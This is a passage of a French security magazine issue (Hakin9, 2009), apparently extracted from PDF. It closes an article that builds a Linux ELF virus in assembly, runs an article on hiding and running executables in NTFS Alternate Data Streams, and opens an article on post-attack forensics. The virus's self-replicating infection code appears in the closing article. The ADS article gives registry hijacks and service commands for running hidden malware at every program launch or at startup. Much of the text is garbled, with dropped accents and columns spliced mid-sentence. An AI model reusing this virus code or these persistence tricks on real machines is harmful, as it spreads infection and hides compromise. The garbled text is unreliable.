add eax, _virus_size mov [edi+Elf32_Phdr.p_memsz], eax mov [edi+Elf32_Phdr.p_filesz], eax ; Supprimez la table des sections xor eax, eax mov [esi+Elf32_Ehdr.e_shoff], eax mov [esi+Elf32_Ehdr.e_shentsize], eax mov [esi+Elf32_Ehdr.e_shstrndx], ax .unmap: call munmap, esi, dword [ebp+12] .close: ; Fermez le fichier call close, ebx .return: popad mov esp, ebp pop ebp retn 8 _virus_body: pop eax call infect_dir, eax popf popad retn _end: _virus_size equ _end - _start ; Terminez le processus. Ce fragment ne sera pas copi dans les fichiers infects mov eax, SYS_exit push byte 1 pop ebx int 80h

retient l'adresse sur la pile laquelle le virus passera la gestion. Dans le cas de notre article, il s'agit de l'tiquette _ end . Le code qui s'y trouve met fin au processus courant. Cette adresse est modifie lors de l'infection et indique le point d'entre initial du programme infectant.
24 HAKIN9 5/2009

Ensuite, les valeurs de tous les registres et du registre des drapeaux sont retenus et l'tiquette _ virus _ body est appele. Aprs la saut l'adresse indique, l'adresse de retour est immdiatement efface de la pile. Elle indique la suite de caractres ASCIIZ qui est un nom du rpertoire

infecter. Cette mthode a t analyse ci-dessus. Le fichier d'en-tte syscall.inc est ajout derrire le nom du rpertoire. Il contient le code des enveloppeurs des appels systmes. Il doit se trouver entre les tiquettes _ start et _ end car le code situ entre elles est copi lors de

VIRUS SOUS LINUX


l'infection. L'infection commence par l'appel de infect _ dir dont le seul argument est le nom du rpertoire infecter. Le rpertoire actuel est transmis mais rien n'empche d'indiquer un autre rpertoire. La procdure infect _ dir numre tous les lments du rpertoire. Lorsqu'elle trouve le fichier, elle appelle la fonction infect , charge d'infecter tous les fichiers. Ses arguments sont les suivants : nom du fichier et sa longueur en octets. L'appel infect est une implmentation de la mthode d'infection analyse. Nous analyserons son fonctionnement. Pour comprendre l'algorithme, les commentaires situs dans le code vous seront trs utiles. La premire tape consiste vrifier si la longueur du fichier est suffisante pour y placer un en-tte ELF. Si le fichier est trop court, ce n'est pas un fichier excutable. Ensuite, le fichier est ouvert et mapp dans la mmoire. Le descripteur du fichier est plac dans le registre EBX et l'adresse de la zone mappe dans le registre ESI. L'tape suivante permet de vrifier si le fichier commence par un numro magique correct. De plus, il doit tre excutable et destin l'architecture IA32. Pour vrifier ces points, nous vrifions les valeurs des champs e _ type et e _ machine , qui doivent tre gaux respectivement ET _ EXEC et EM _ 386 . Ensuite, nous trouvons le dernier en-tte PT _ LOAD . Dans un premier temps, nous localisons le dbut de la table des en-ttes de segment dont l'adresse est enregistre dans le registre EAX. Le nombre des enttes dans la table se trouvera dans le registre ECX. Nous vrifions tous les enttes dans la boucle en commenant par le dernier. L'adresse de l'en-tte actuellement analys est stocke dans le registre EAX. Le couple d'instructions lea sert calculer un dcalage appropri par rapport au dbut de la table des en-ttes. Le champ p _ type est charg dans le registre EDX et s'il est gal PT _ LOAD (dont la valeur est 1), la boucle se termine. L'adresse de l'en-tte est enregistre dans le registre EDI. Une fois l'en-tte trouv, nous calculons quelle partie de son image dans la mmoire ne pourra tre mise dans le fichier aprs l'ajout du code du virus. Le chiffre est une addition des champs p _ offset et p _ memsz ainsi que de la constante _ virus _ size , qui est une longueur du code du virus en octets. S'il s'avre que le fichier est trop petit, nous supprimons le mappage et nous augmentons sa taille (appel ftruncate ). Ensuite, nous appelons de nouveau la procdure infect et nous fermons le fichier. L'tape suivante commence par l'tiquette infect.is _ infected . Elle sert vrifier si le fichier n'a pas t dj infect. L'adresse de la fin du segment se trouvera dans le registre EAX. Ensuite, nous vrifions si les quatre derniers octets de ce segment sont gaux aux quatre derniers octets du virus. Si c'est le cas, nous supposons que le fichier a t dj infect et nous abandonnons la suite d'oprations. Si la gestion se trouve cet endroit, nous avons alors suffisamment de place pour ajouter un virus. Nous sommes arrivs cet emplacement soit en faisant un saut conditionnel prsent avant soit grce au deuxime appel de infect prsent aprs l'augmentation de la longueur du fichier via ftruncate . Il faut mettre zro la partie du segment ajoute. Elle correspond aux donnes non inities dans la mmoire. Pour ce faire, nous calculons le nombre d'octets ajouts ( p _ memsz minus p _ filesz) et l'adresse du premier d'entre eux ( p _ offset plus p _ filesz). Ces chiffres se trouveront dans les registres EAX et ECX. Une brve boucle permettra de mettre zro tous les octets. Ensuite, nous localisons le code actuel du virus dans la mmoire et nous le copions la fin du segment. L'adresse du code excut actuellement sera enregistre dans le registre EDX. Le registre EAX indique l'endroit cible o se trouvera le virus et le registre ECX contient la taille du code du virus. Puisque nous utilisons le registre EBX dans la boucle de copie, il faut retenir sa valeur car il stocke le descripteur du fichier ncessaire. Il ne nous reste qu' crire l'adresse du point d'entre dans le virus : en tant qu'argument de l'instruction push , prsente derrire l'tiquette _ start . Ensuite, nous modifions le champ e _ entry, de sorte qu'il indique le code du virus dans la mmoire virtuelle ( p _ memsz plus p _ vaddr). Il est galement ncessaire de modifier l'en-tte du programme en augmentant la taille du segment qui est charg grce cet en-tte. Aussi bien le champ p _ filesz que p _ memsz doivent avoir la valeur paramtre p _ memsz plus _ virus _ size . La dernire tape consiste supprimer la table des sections de l'en-tte du fichier ELF car elle a t probablement efface lors de l'augmentation du segment. Pour ce faire, nous mettons zro e _ shoff, e _ shentsize et e _ shstrndx .

Conclusion

Le virus cr dans cet article est l'un des plus simples possibles. Il ne contient rien d'autre qu'un simple mcanisme d'infection. Sa dtection est trs simple. De plus, il est possible que certains fichiers soient infects incorrectement et donc endommags. Mais il est efficace par rapport un grand nombre des fichiers binaires disponibles dans le systme. Le mcanisme d'infection et le code du virus prsents peuvent constituer une base pour crer une solution plus sophistique, rendant difficile la dtection ou influenant le fonctionnement du systme d'une autre manire. C'est un sujet trs large et dpasse les cadres que nous avons poss pour cet article. Grzegorz Ryszard Niewisiewicz

L'auteur est tudiant la facult des mathmatiques l'Universit de Szczecin. Il est passionn de l'informatique et en particulier de la thorie, de la rtro-ingnierie et de la scurit. Il s'intresse galement aux standards Internet, l'utilit et l'accessibilit des logiciels. Contact avec l'auteur : grn@grn2.pl 5/2009 HAKIN9 25

ALEXANDRE LACAN

FOCUS Les secrets des flux NTFS


Les Alternate Data Streams (ADS) sont une une fonctionnalit mconnue du systme de fichier NTFS. Leur manipulation est simple et permet de facilement dissimuler des donnes sur le disque dur. Peu de programmes exploitent les ADS. Le danger vient essentiellement des malwares qui peuvent se dissimuler et s'excuter dans des fichiers sensibles du systme.

Degr de difficult

es ADS permettent l'ajout d'attributs personnaliss n'importe quel fichier ou rpertoire du disque dur : par exemple l'attribut :favicon: $DATA des favoris d'Internet Explorer, ou l'attribut : Zone.identifier:$DATA d'un fichier tlcharg depuis l'Internet (voir encadr). Il existe deux types de flux alternatifs : les flux anonymes et les flux nomms. Tous les fichiers et rpertoires possdent au moins trois flux de donnes anonymes : le premier type est le flux de donnes du fichier, c'est dire le contenu mme du fichier, le deuxime est l'ACL, le descripteur de scurit du fichier, le troisime est le flux identificateur d'objet (ID_OBJECT ).

Les ADS ont le mal du transport et sont facilement perdus lors du transfert de leur fichier parent. Le tableau 1 rsume la prise en compte des ADS pour diffrents supports ou modes de transport. Il faut noter que PowerShell ne prend pas en charge la manipulation des ADS, car le framework .NET ne les supporte pas sans l'ajout d'une API supplmentaire (par exemple : http:// www.codeproject.com/KB/cs/ntfsstreams.aspx). Cependant, la copie d'un fichier via PowerShell conserve les attributs ADS des fichiers.

Manipulations et consquences

CET ARTICLE EXPLIQUE...


Comment exploiter des flux NTFS pour camoufler, effacer, excuter et dtecter des donnes.

Les flux nomms sont crs, par exemple, lorsqu'on rempli l'onglet Rsum dans les proprits d'un fichier. L'onglet Rsum correspond au flux :#5SummaryInformation: $DATA . La ligne de commande suivante permet d'afficher le contenu de l'onglet :
more < nom_du_fichier:^ESummaryInformation

Que peut contenir un ADS? Le contenu de n'importe quel fichier que ce soit un fichier texte, une base de donnes, un document multimdia, un excutable, - est un flux anonyme. Un ADS peut contenir exactement le mme type d'information. De nombreux experts soulignent cet aspect dangereux des flux NTFS (The Dark Side of NTFS par H. Carvey sur Infosecwriters.com). Bien que la manipulation des flux soit mconnue, elle est relativement facile raliser en ligne de commande.
echo ceci est un texte > hello.txt echo ceci est un flux > hello.txt: monpremierflux

CE QU'IL FAUT SAVOIR...


Connatre les bases de la ligne de commande sous Microsoft Windows. 26 HAKIN9 5/2009

La chane #5 a t remplace par ^E car il correspond au caractre non-imprimable 0x05. En ligne de commande ^E n'est pas la concatnation de ^ + E, il faut utiliser Ctrl + E. A noter galement que la chane :$DATA a disparue, elle est inutile dans la manipulation des ADS.

Avec cette commande, nous venons de crer un fichier texte, puis un flux de donnes alternatif

ALTERNATE DATA STREAMS


(ADS) contenant une autre chane de texte que le flux principal. Si vous observez la taille du fichier hello.txt (20 octets), vous remarquerez qu'elle ne change pas aprs la cration de l'ADS. La commande suivante permet de rcuprer le flux :
more < hello.txt:monpremierflux

Table 1. Prise en charge des ADS Support ou moyen de transport NTFS FAT16 ou FAT 32 CDFS Fichier compress .rar Fichier compress .zip Email (en pice jointe) Copie par le rseau vers un support NTFS Copie par le rseau vers un support FAT Copie par le rseau vers un support DFS Tlchargement par FTP ou HTTP PowerShell prsence. Longtemps, aucun utilitaire de Microsoft livr en standard avec Windows n'existait pour les dtecter. Depuis Windows Vista, il est possible de les lister avec la commande dir /r. Pour rechercher rcursivement tous les fichiers intgrant des ADS :
dir /a /s /r | findstr $DATA

ADS Support des ADS Pas d'ADS Pas d'ADS Capable de conserver les ADS Perte des ADS Perte des ADS Conservation des ADS Perte des ADS Perte des ADS (kb911608) Perte des ADS ADS non manipulables, mais conservs lors de la copie d'un fichier Pour certains fichiers volumineux, l'extraction n'est pas toujours facile. En utilisant le programme CmdStream (www.bellamyjc.org/fr/stream.html), l'ensemble des flux d'un fichier est extrait et encapsul dans un fichier .cab.
extract-hello Cmdstream /v /e hello.txt .\

Dans le cas d'un rpertoire, pour crer un flux on tape la ligne de commande suivante dans le rpertoire en cours :
echo Voici du texte cach > :ads

Et pour rcuprer le flux :


more < :ads

Rien n'empche de crer l'ADS depuis un autre fichier, mme si celui-ci pse plusieurs Giga-octets. Vous pouvez essayer de crer un ADS partir d'un fichier multimdia :
type mavideo.avi > hello.txt:

monfluxvideo

En apparence, par l'explorateur Windows ou par la commande dir, le fichier hello.txt pse toujours 20 octets. Pour se rendre compte de la prsence du nouveau flux, il faut noter l'espace libre sur le disque avant et aprs la cration de l'ADS. En tablissant la valeur de hashage du fichier hello.txt , on ne remarquera aucune modification avant et aprs l'intgration d'un ADS. En effet de nombreux programmes ne savent tout simplement pas tenir compte de leur

D'autres programmes existent pour les versions antrieurs de Windows, notamment lads (http://www.heysoft.de/ nt/ep-lads.htm) et Streams (http:// technet.microsoft.com/en-us/ sysinternals/bb897440.aspx). Streams a l'avantage de pouvoir supprimer des ADS.
streams.exe -d hello.txt

cette dernire commande permet de lister, puis d'extraire tous les flux du fichier hello.txt vers le rpertoire extract-hello.

Le cas des excutables

Nous allons voir comment exploiter les ADS pour excuter des programmes cachs. En excutant la commande suivante, nous recopions la calculatrice de Microsoft dans un flux alternatif du bloc-note.
cd %windir%\system32

Sans ce programme il n'est possible d'effacer un ADS qu'avec son fichier parent.

type calc.exe > notepad.exe:calc.exe

Sous les systmes d'exploitation antrieurs Windows Vista et Windows Server 2008, la commande suivante permet d'excuter un flux cach.
start notepad.exe:calc.exe

Cette technique ne fonctionne plus depuis Vista. Nanmoins, l'auteur a pu excuter des flux sous Windows Vista et XP en utilisant d'autres techniques : Figure 1. Cration et lecture d'un ADS sous Vista. runas /user:utilisateur notepad.exe: calc.exe /savecred
5/2009 HAKIN9 27

FOCUS
qu'on double-clic sur un fichier .txt , en faisant la modification suivante dans le base de registre : [HKEY_ CLASSES_ROOT\txtfile\shell\open\ command], changer la valeur chane par (par dfaut)=notepad.exe: un attaquant peut imaginer un virus se rpliquant dans un flux de chaque excutable de l'ordinateur. Il est alors possible d'excuter ce virus chaque fois que l'utilisateur excute un programme en modifiant la base de registre ainsi : [HKEY_CLASSES_ROOT\ exefile\shell\open\command],changer la valeur de la chane par (par
dfaut)="%1:malware.exe" %* malware.exe "%1"

Les malwares
Figure 2. Excution d'un ADS en tant que service.
sc create Service _ Microsoft start= auto (ne pas oublier un

binpath= notepad.exe:calc.exe

MACHINE\Software\Microsoft\ Windows\CurrentVersion\Run] avec Windows Scripting Host,


echo MsgBox "Hello world",85,"WSH Embedded stream example" > hello.txt:msg.vbs wscript hello.txt:msg.vbs

espace aprs chaque signe = (gal)). Cette commande cr un service. Il faudra activer l'option Interaction avec le bureau pour un excutable disposant d'une GUI. grce la base de registre, en crant une cl dans [HKEY_LOCAL_

nous pouvons faire en sorte qu'un malware cach dans un flux du bloc-note s'excute chaque fois

Les Zone.Identifier
[ZoneTransfer] ZoneId=3

Windows utilise les ADS pour enregistrer les informations de la zone d'origine d'un fichier tlcharger (fichier:Zone.Identifier). Les informations enregistres ressemblent ceci:

Aujourd'hui, les flux alternatifs sont bien connus des diteurs d'antivirus, mais cela n'a pas toujours t les cas. En 2003, lorsque les sites spcialiss ont commenc a beaucoup parl des ADS, peu d'antivirus taient capables de dtecter des malwares cachs dans des ADS. Le premier virus connus pour exploiter cette technique tait Win2K.Stream.A , un proof-of-concept tchque. Le virus dplaait le flux principal (les donnes du fichier) dans un flux alternatif nomm :STR: $DATA . Ensuite, le virus se copiait dans le flux principal, et faisait de mme avec tous les excutables du rpertoire en cours. Ensuite, un message apparaissait pour signaler la prsence du virus : This Cell has been infected by [Win2k.Stream.A] . Ce premier virus ne prsentait pas

Si cet ADS existe, un avertissement de scurit s'affiche l'ouverture du fichier. Si l'utilisateur dcoche la case Toujours demander avant d'ouvrir ce fichier. , l'ADS est effac. Idem en passant par les proprits du fichier, et en cliquant sur dbloquer . Le ZoneId=3 correspond la zone Internet des options de scurit d'Internet Explorer. Pour la zone Intranet, on a ZoneId=1, pour les sites de confiance ZoneId=2 (mais aucun ADS n'est cr automatiquement dans ce cas) et pour les sites restreints ZoneID=4.

Sur Internet
http://premire.adresse.lien.complet/ dcrire ce que contient ce lien, http://www.hsc.fr/ressources/breves/ ADS.html.fr article de Stphane MILANI (HSC) sur les ADS http://www.bellamyjc.org/fr/stream.html article abordant les ADS d'un point de vue programmation http://msdn.microsoft.com/en-us/ library/ms810604.aspx Informations sur les ADS sur le site MSDN http://www.kaspersky.com/ news?id=177718126 la technologie iStream de Kaspersky.

Terminologie
NTFS : signifie New Technology File System, est apparu en 1993 avec la premire version de Windows NT. Il permet de chiffrer et compresser des fichiers et de mettre des droits spcifiques (ACL) sur les fichiers et rpertoires. HFS : systme de fichier de Macintosh datant de 1985, supportant le principe de fork, qui permet au code (data fork) d'tre spar des ressources (ressource fork) comme les icnes. Son successeur HFS+ n'est plus limit seulement 2 forks.

28 HAKIN9 5/2009

Figure 4. Alerte de scurit de la prsence d'un ADS :Zone.Identifier.

en utilisant simplement une variante de Rustock.

Conclusion
Figure 3. Dtection du faux virus EICAR cach dans un ADS par l'antivirus Nod32. beaucoup de danger, une simple ligne de commande permettait de rtablir le flux principal :
cat fichier.exe:str >

(cat.exe est un outil du

fichier.exe

dans un flux alternatif d'un rpertoire critique: %SystemRoot%\system32: [numero_aleatoire] . Une cl de registre tait cre pour permettre au virus de s'excuter chaque dmarrage, y compris en mode sans chec : [HKEY_LOCAL_MACHINE\SYSTEM\ CurrentControlSet\Services\pe386] ImagePath = \SystemRoot\System32: 17346

ressource kit de Windows NT 4.0 qui permettait de manipuler des flux binaires)

La manipulation des ADS est simple, mais mconnue. La solution n'est pas la scurit par l'obscurantisme, et Microsoft devrait faciliter la visualisation des flux alternatifs aux utilisateurs. Cela viterait aussi de crier au loup tort, comme lorsque Kaspersky fut accus de cacher un rootkit. En ralit, il s'agissait de la technologie iStream, utilise pour conserver un checksum de chaque fichier scanner par l'antivirus. Kaspersky utilisait simplement une fonction prvue par Microsoft.
propos de l'auteur

En 2006, un autre virus, bien plus volu est apparu : SpamTool.Win32.Mailbo t.AZ (ou Rustock). Celui-ci ce copiait

Fin 2006, un autre virus nomm Gromozon a utilis la mme technique


PUBLICIT

L'auteur travaille dans une SSII comme administrateur systme et excute des missions en free-lance. Il s'intresse la virtualisation et la scurit des systmes d'information.

5/2009 HAKIN9

29

KONRAD ZUWAA

FOCUS Analyse aprs l'attaque


Aprs avoir dcouvert une activit indsirable sur l'ordinateur, notre objectif consiste le plus souvent dtecter les traces d'une activit d'un utilisateur non autoris et apprendre que s'est rellement pass sur notre ordinateur. C'est le but de l'analyse aprs l'attaque.

Degr de difficult

CET ARTICLE EXPLIQUE...


Qu'est-ce qu'une analyse aprs l'attaque, Comment la faire, Comment fonctionne un systme de fichiers, quoi ressemble une analyse d'un programme suspect.

CE QU'IL FAUT SAVOIR...


Connatre les notions de l'administration d'un systme UNIX, Connatre les notions du langage C, Avoir des connaissances gnrales sur les systmes informatiques et leur fonctionnement 30 HAKIN9 5/2009

'analyse aprs l'attaque a beaucoup de points en communs avec une analyse dtectiviste. Il faut dterminer l'heure, l'endroit, lier de nombreux faits entre eux. Pour obtenir des informations, nous sommes souvent obligs de parcourir des endroits les plus tranges du systme, mme le plus sombres. Les informations obtenues seront maintes fois partielles, imprcises, nous devrons faire beaucoup d'effort pour les lier entre elles et trouver des relations. C'est en quoi consiste une analyse aprs l'attaque : utiliser les informations que nous avons russi trouver dans un systme compromis. Afin de commencer l'analyse, il faut dans un premier temps nous prparer la question du point de vue thorique. Il est galement recommand de prparer le systme d'exploitation cet objectif d'une manire approprie, ncessaires pour les oprations de ce type. Je suppose que l'utilisateur se sert d'un systme bas sur un systme UNIX (FreeBSD, OpenBSD, Linux, etc.), une partie des informations contenues dans l'article est toutefois universelle et peut se rapporter au systme Windows. Le point lmentaire d'une analyse aprs l'attaque consiste ne pas chercher quelque chose de particulier. Tous ceux qui cherchent une rponse concrte dans le systme ne trouveront rien en ralit. En effet, quoi fautil faire attention ? Il est difficile de dfinir au dbut les points concrets analyser. Bien

videmment, nous pouvons nous demander qui, quand et comment est entr dans notre systme d'exploitation et ce qu'il y a fait. Mais pour rpondre ces questions, il faut recueillir de nombreuses donnes, sans trouver sur la route aucune preuve claire et concrte. Nous aurons tout au plus des fragments d'informations que nous devons lier entre elles et en tirer des conclusions. Quelles informations sont stockes dans notre systme ? Dans la plupart de cas, il s'agit des dchets : des fichiers qui ne sont pratiquement jamais utiliss. Seule une partie minime des ensembles sur les serveurs UNIX est ouverte de manire systmatique (ouverte et lue). La plupart d'entre eux ne sont pas ncessaires pendant longtemps, par exemple les fichiers de configuration ne sont lus qu'au moment du dmarrage du programme et ensuite, ils restent sur le disque en attendant un prochain dmarrage de l'ordinateur ou redmarrage, pour que leur contenu soit lu. Comme nous le savons, certains serveurs ne sont pas redmarrs pendant des annes. Que faut-il en conclure ? Les ordinateurs modernes sont capables de remplir en quelques secondes les disques durs les plus grands. Les processus systme se rapportent toutefois toujours aux mmes donnes, en utilisant les fichiers. Lorsque le systme lit donc tout le temps et enregistre sur les mmes fichiers, il efface en ralit ses traces. Ses traces lui et les traces d'un intrus potentiel : les indicateurs

de temps, les traces de toute modification indsirable dans les fichiers. Pour cette raison, les informations exceptionnelles, qui n'ont rien voir avec les oprations ordinaires d'accs aux donnes de fichiers ou d'ouverture de dossiers non utiliss sont trs prcieuses dans une analyse aprs l'attaque. Une autre question importante est l'ordre de modification d'informations (en anglais Order Of Volatility). Comme vous le savez, une partie d'informations est soumise un effacement plus rapide et par consquent une suppression. Les informations se perdent le plus rapidement sur les supports lectriques (tels que les registres du processeur, sa mmoire cache, la mmoire RAM) ou les rcepteurs rseau, tels que les cartes rseau, qui contiennent leurs propres mmoires tampon ou les modules de mmoires. Ces informations sont en gnral inaccessibles pour nous car la dure de leur vie oscille dans les micro ou nanosecondes. Ensuite, nous avons des processus dont la dure de vie se situe entre plusieurs secondes plusieurs heures (mais nous savons que les informations sur lesquelles ils reposent sont modifies sans cesse, donc elles sont rapidement obsoltes). Les disques durs, en fonction du type d'informations, peuvent les stocker entre plusieurs secondes jusqu' plusieurs mois, voire annes. Tout est question d'utilisation des informations : les fichiers temporaires crs par certains programmes ne peuvent exister que quelques secondes alors qu'une norme partie de donnes est stocke sur les disques sous la mme forme pendant des mois. Les supports externes comme les disquettes, les mmoires de masse et les CD//DVD/BlueRay sont capables de garder les donnes y enregistres pendant de longues annes. Que pouvons-nous en conclure ? Dans un premier temps, il faut protger les donnes phmres que nous pouvons perdre en un rien de temps. Nous devons ainsi protger les informations et leurs supports dans un ordre adquat : il faut commencer par les donnes phmres et terminer par les donnes qui ne sont pas menaces.

Une autre chose dont il faut se rendre compte en effectuant une telle analyse est l'illusion cre par le systme d'exploitation autour de nous. L'ensemble de systme de fichiers est en effet une illusion. Les fichiers constituent en effet une suite de zro et de un, une information lectromagntique enregistre sur un disque dur. Les dossiers et les fichiers tout est une illusion cre par le systme d'exploitation, une sorte de facilit pour nous simplifier l'utilisation de l'ordinateur. Il ne faut pas l'oublier au moment de rcuprer les fichiers perdus ou d'analyser les fragments des ensembles trouvs quelque part sur le disque ; nous pouvons le faire en omettant le systme de fichiers, ce qui permettra d'augmenter considrablement la quantit d'informations. Il faut aussi faire attention au niveau de confiance que nous pouvons avoir par rapport une information donne. Une seule information peut sembler peu crdible mais si elle se rpte dans de nombreux endroits diffrents, elle commence l'tre davantage. Prenons cet exemple : nous avons trouv une entre sur la connexion d'un utilisateur dans le fichier contenant les logs du serveur. C'est une information individuelle, elle peut ne pas tre crdible. Si nous regardons toutefois le fichier avec l'historique de commandes de

cet utilisateur dans son shell, nous remarquerons qu'il avait saisi des commandes appropries. Nous avons obtenu une confirmation supplmentaire de l'information relative sa connexion. Si de plus, un systme IDS ou autre renifleur fonctionnant dans le rseau en question confirme qu'une telle connexion a eu lieu depuis l'hte dont l'adresse IP est x.x.x.x , nous pouvons tre quasiment srs que l'information est vraie. Nous ne sommes pas toutefois toujours srs 100 % car un attaquent expriment aurait pu prparer toutes les sources susmentionnes. Malgr tout cela, plus de sources confirment l'existence de l'information, plus nous pouvons y faire confiance. Nous distinguons deux mthodes de recueillir des informations : dans le livre Forensic Discovery de Dan Farmer et Wierse Venem, elles s'appellent l'archologie numrique et la gologie numrique. Il s'agit bien videmment d'une analogie ces domaines scientifiques et leur utilisation dans le monde rel, non virtuel. L'archologie, comme son nom l'indique, consiste analyser ce qui a t cr par homme. En le rapportant aux ordinateurs, nous en concluons qu'il faut analyser l'activit de l'utilisateur sur un ordinateur concret. Il faut donc analyser les fichiers qu'il avait utiliss, les processus lancs, tout ce qui avait t initi depuis le compte

Listing 1. Fonction lstat() et la structure y lie


#include <sys/stat.h> int lstat(const char* path, struct stat* buf); struct stat { dev_t ino_t node_t nlink_t uid_t gid_t dev_t off_t blksize_t blkcnt_t time_t time_t time_t st_dev; st_ino; st_mode; st_nlink; st_uid; st_gid; st_rdev; st_size; st_blksize; st_blocks; st_atime; st_mtime; st_ctime; /* /* /* /* /* /* /* /* /* /* /* /* /* ID de l'appareil contenant le fichier */ numro inode */ protection */ nombre de liens matriels */ ID du propritaire du fichier */ ID du gr. du propritaire du fichier */ ID de l'appareil (si fichier spcial */ taille complte en octets */ taille du bloc du systme de fichiers */ nombre de blocs allous */ heure du dernier accs (access) */ heure de la dernire modification (modification) */ heure de la dernire modification (time) */

};

5/2009 HAKIN9

31

FOCUS
systme correspondant l'identifiant du suspect. La gologie en revanche est un processus d'analyse de l'activit du systme d'exploitation en tant que l'environnement parent de l'utilisateur, qu'il forme en quelque sorte. Simplement parlant, nous analysons tout ce que l'utilisateur n'avait pas lancs et ce qui fonctionne dans le systme : l'accs aux fichiers de configuration, les oprations sur les disques, les informations stockes dans le systme de fichiers qui n'avaient pas t crs par l'utilisateur. Nous savons donc comment procder l'analyse, il faut maintenant prparer le systme d'exploitation cette analyse. Il est vident qu'il faut disposer d'un espace suffisant sur les disques durs pour copier et ensuite monter les images du systme de fichiers du systme compromis. Certains outils, permettant de raliser des oprations sur le systme de fichiers de l'ordinateur compromis, seront galement indispensables : pour monter son image sur un autre ordinateur ou sur un ordinateur qui fait objet de nos recherches. Il ne faut pas oublier que les informations sont phmres : il faut dans un premier temps collecter les informations dans la mmoire de l'ordinateur, les processus et tout ce que nous sommes incapables de copier physiquement sur un autre ordinateur. The Coroner's Toolkit, et le projet qui devait le remplacer The Sleuth Kit, constitue l'ensemble d'outils ncessaires. TCT est un projet cr par les auteurs du livre susmentionn, disponible gratuitement sur Internet. Vous trouverez davantage d'informations sur ce sujet dans l'encadr Sur le Net. L'installation de deux ensembles d'outils est plutt intuitive et tout utilisateur intermdiaire du systme UNIX sera capable de la faire. Procdons l'analyse.

Le temps est l'argent trouver des informations sur le temps

Dans la plupart de cas, l'objectif de l'analyse ne consiste pas voir ce qui s'est pass. C'est plutt vident : si quelqu'un a accd notre ordinateur, il a pu faire quasiment tout dont il avait envie. Nous ne pouvons rien y faire. L'information sur la date et l'heure de cet vnement est beaucoup plus importante. Cette information nous permettra de nous rendre compte quelles donnes auraient pu fuir de notre ordinateur ou pendant combien de temps l'ordinateur a t expos l'intervention de l'extrieur. En vrifiant l'heure, nous apprendrons aussi tt ou tard quelle tait la raison de la corruption du systme et ce qui a pu tre fait dedans. Rappelons que cet article n'expliquera pas comment dtecter que le systme a t compromis, c'est un sujet d'un autre article. Notre article dcrit ce qu'il faut faire, en disposant des informations relatives l'attaque de l'intgralit de notre systme d'exploitation.

Indicateurs MAC

Figure 1. XXX
32 HAKIN9 5/2009

MAC (en anglais Modified, Accessed, Changed modifi, utilis, chang) sont des attributs du systme de fichiers, dterminant la dure de diffrentes oprations d'accs au fichier. Regardons le Listing 1. Il prsente le prototype de la fonction lstat(). Sa tche consiste recueillir les informations sur le fichier et les enregistrer dans une structure spciale. Cette structure correspond aux

paramtres de l'ensemble, stocks dans le systme de fichiers. La structure stat contient les variables correspondant aux paramtres du fichier. Nous nous concentrons sur trois dernires positions : il s'agit des indicateurs MAC. Cette structure nous aide crire un programme, charg de parcourir le systme de fichies la recherche des modifications suspectes. Il peut nous servir par exemple vrifier les fichiers systme ou les fichiers de configuration rcemment modifis. Comme nous l'avons mentionn auparavant, ces fichiers sont ouverts trs rarement. Si nous remarquons des modifications suspectes de temps, des modifications des fichiers systme ou des fichiers de configuration, voire l'apparition de nouveaux programmes qui devaient tre absents dans le systme c'est une trace. Nous parlerons davantage des indicateurs MAC dans la partie de l'article consacre aux systmes de fichiers UNIX. Nous y dcrirons en dtails qu'est ce qu'un systme de fichiers et comment l'utiliser nos fins, autrement dit, pour trouver les traces indispensables.

de logiciel et de la spcification des filtres de recherches. Imaginons que l'analyse des indicateurs MAC nous a permis de trouver un nouveau programme dans le systme ; appelons ce programme telnetd . Le programme prend la place du serveur telnet en coutant bien videmment sur un autre port pour masquer son existence. Grce au logiciel qui analyse le trafic rseau, nous pouvons dtecter qu'un programme coute sur un port dtermin. Nous avons donc deux informations : un nouveau programme dans le systme qui attend des connexions depuis Internet. Un hasard ? Probablement pas... L'exemple ci-dessus dmontre qu'il est recommand d'installer un logiciel dont l'objectif consiste surveiller le trafic rseau. Dans des situations comme celle dcrite ci-dessus, il peut nous tre d'un grand recours. Munissons donc l'avance de ce type de l'outil.

Structure du systme de fichiers de UNIX. Utilisation pratique de ces connaissances

Systme qui connecte le trafic rseau source d'informations

De nombreux grands serveurs d'entreprise ou systmes dans de petites entreprises dont l'infrastructure rseau n'est pas trs dveloppe, sont quips des systmes de connexion du trafic rseau. Ces programmes, dont argus est un exemple, permettent d'enregistrer tous les vnements qui ont eu lieu sur le rseau. Bien videmment, nous pouvons rencontrer un problme. Un serveur Web d'une taille moyenne est capable en effet de gnrer des dizaines (voire des centaines) de gigaoctets du trafic rseau. L'analyse de toutes les donnes recueillies par ce logiciel pourrait poser un souci : qui voudrait lire toutes ces informations ? Grce aux programmes de connexion, il est par exemple possible de dtailler uniquement les connexions sur un port donn ou depuis un hte dfini. Il est galement possible de gnrer des logs d'aprs la date de l'vnement dans l rseau : c'est une question du bon choix

Le systme de fichiers dans les UNIX se diffre de manire considrable du systme dans les systmes d'exploitation Microsoft. La diffrence lmentaire se situe dans l'approche des fichiers et des rpertoires ; un utilisateur dbutant d'un UNIX entend srement souvent que tout est fichier dans le systme UNIX. C'est en partie vrai car la plupart (sinon tous) d'appareils dans ce systme ont leur reprsentation sous forme d'un fichier spcial. Cette dmarche permet d'accder directement cet appareil, ce qui nous sera utile dans la suite de notre analyse La hirarchie du systme de fichiers se diffre galement du systme Windows. Le produit de Microsoft propose des disques durs marqus par les lettres de l'alphabet latin. Pour accder une partition donne du disque, il faut dans un premier temps choisir la lettre qui correspond au disque physique ou logique donn (donc par exemple une partition). Sous Linux, FreeBSD ou autres systmes, nous ne ressentons aucunement le fait d'avoir accd un

autre disque dur ou une autre partition. Nous ne nous rapportons en effet aucun symbole permettant de choisir un disque donn. Le rpertoire / constitue le niveau le plus lev dans la hirarchie *niksa. C'est un endroit suprieur pour tous les autres fichiers et rpertoires dans le systme ; il est impossible de passer au rpertoire dessus (cela correspond au rpertoire X: dans le systme Windows o X signifie la lettre du disque dur). Tout systme UNIX contient un ensemble standard de sousrpertoires dans le rpertoire principal : il s'agit notamment de /mnt/, /bin/, /usr/, etc. Ils correspondent au rpertoire C: \WINDOWS, C:\PROGRAM FILES sous Windows. Si vous tes attentifs, vous remarquerez tout de suite la diffrence dans la convention de sparation des rpertoires : dans le systme Windows, nous utilisons le caractre \, tandis que dans les systmes Linux ou FreeBSD, il s'agit du caractre / (bien que dans les nouveaux systmes Windows, le caractre / fonctionne galement). Le systme de fichiers *niksa est sensible la casse donc les fichiers XYZ et xyz sont des objets compltement diffrents. De plus, il ne faut pas oublier que la notion d'extension du fichier est ici absente : elle est optionnelle et 